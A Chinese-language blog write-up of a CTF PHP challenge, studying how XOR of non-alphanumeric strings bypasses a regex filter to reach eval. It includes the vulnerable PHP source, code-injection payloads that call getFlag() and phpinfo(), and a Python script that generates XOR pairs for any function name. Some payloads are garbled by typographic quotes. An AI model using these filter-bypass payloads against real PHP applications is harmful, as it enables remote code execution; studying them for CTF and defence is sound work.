iloveflag-blog

异或的研究

字数统计: 440阅读时长: 2 min
2018/10/26 Share

题目来自梅子酒师傅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include "flag.php"; 
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";

异或绕过的一个知识点:
wp在这里:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html#autoid-3-3-1

引发思考的是3段代码

1
2
3
$_=”\`{{{“^”?<>/”;                         $\_=\_GET 在这时候,$\_变成了\_GET,
${$_}[_](${$_}[\\]); $_GET[_]($_GET[\\])
&_=getFlag

那么$GET[]的地方变成了getFlag

其实第二步后面的可以省略,真正有用的是()

变成了getFlag()

&的作用是引用传递

测试一下:

1
2
3
function getFlag()
{ echo "flagok"; }
@eval($_GET['code']);

我的payload为code=$_GETo;&o=getFlag
如果我不加上&,他并没有执行,传过去可能就是一个getFLag,执行的时候后面的()被忽略了

如何得出phpinfo():

1
?code=$\_=”\`{{{“^”?<>/”;${$\_}\[\_\]().”;”;&\_=phpinfo

异或分解脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
l=r"`-=[]\,./<>?:{}|++_)(*&^$#@!~)"
string=input("请输入要分解的字符串:")
y1=""
y2=""
def jisuan(l,s):
for i in l:
for j in l:
if(chr(ord(i)^ord(j))==s):
return(i,j)
for s in list(string):
i,j=jisuan(l,s)
y1+=i
y2+=j
print("结果为:"+'"'+y1+'"'+"^"+'"'+y2+'"'+"="+string)

那么,”[[[,=[“^”<>/&@<“=getFlag 如果payload为?code=”[[[,=[“^”<>/&@<“.”()”
很遗憾的是不行,可能是因为异或的过程不能直接经过eval函数

()是一个动态执行的过程,卡在这里了

CATALOG